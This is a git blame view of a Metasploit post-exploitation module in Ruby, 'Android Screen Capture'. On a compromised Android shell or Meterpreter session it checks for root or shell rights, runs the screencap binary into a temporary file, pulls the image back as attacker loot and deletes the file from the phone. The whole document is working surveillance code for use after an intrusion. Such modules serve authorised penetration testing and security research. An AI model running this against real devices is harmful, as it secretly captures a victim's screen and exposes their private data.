Files
metasploit-gs/modules/post/android/capture/screen.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

75 lines
2.0 KiB
Ruby
Raw Normal View History

2015-05-25 13:36:48 +01:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2015-05-25 13:36:48 +01:00
# Current source: https://github.com/rapid7/metasploit-framework
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Post
include Msf::Post::Common
2015-05-25 13:36:48 +01:00
include Msf::Post::File
2023-02-08 13:47:34 +00:00
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Android Screen Capture',
'Description' => %q{
2015-05-25 13:36:48 +01:00
This module takes a screenshot of the target phone.
},
2023-02-08 13:47:34 +00:00
'License' => MSF_LICENSE,
'Author' => [ 'timwr' ],
'Platform' => [ 'android' ],
'SessionTypes' => [ 'shell', 'meterpreter' ]
)
)
2015-05-25 13:36:48 +01:00
register_options(
[
OptString.new('TMP_PATH', [true, 'Path to remote temp directory', '/data/local/tmp/']),
OptString.new('EXE_PATH', [true, 'Path to remote screencap executable', '/system/bin/screencap'])
2023-02-08 13:47:34 +00:00
]
)
2015-05-25 13:36:48 +01:00
end
def run
id = cmd_exec('id')
2023-02-08 13:47:34 +00:00
unless id =~ (/root/) || id =~ (/shell/)
print_error('This module requires shell or root permissions')
2015-05-25 13:36:48 +01:00
return
end
exe_path = datastore['EXE_PATH']
tmp_path = datastore['TMP_PATH']
2023-02-08 13:47:34 +00:00
if !file?(exe_path)
print_error('Aborting, screencap binary not found.')
2015-05-25 13:36:48 +01:00
return
end
begin
file = "#{tmp_path}/#{Rex::Text.rand_text_alpha(7)}.png"
cmd_exec("#{exe_path} -p #{file}")
2023-02-08 13:47:34 +00:00
print_good('Downloading screenshot...')
2015-05-25 13:36:48 +01:00
data = read_file(file)
file_rm(file)
rescue ::Rex::Post::Meterpreter::RequestError => e
2023-02-08 13:47:34 +00:00
print_error('Error taking the screenshot')
2015-05-25 13:36:48 +01:00
vprint_error("#{e.class} #{e} #{e.backtrace}")
return
end
unless data
2023-02-08 13:47:34 +00:00
print_error('No data for screenshot')
2015-05-25 13:36:48 +01:00
return
end
begin
2023-02-08 13:47:34 +00:00
fn = 'screenshot.png'
location = store_loot('screen_capture.screenshot', 'image/png', session, data, fn, 'Screenshot')
2015-05-25 13:36:48 +01:00
print_good("Screenshot saved at #{location}")
rescue ::IOError, ::Errno::ENOENT => e
2023-02-08 13:47:34 +00:00
print_error('Error storing screenshot')
2015-05-25 13:36:48 +01:00
vprint_error("#{e.class} #{e} #{e.backtrace}")
return
end
end
end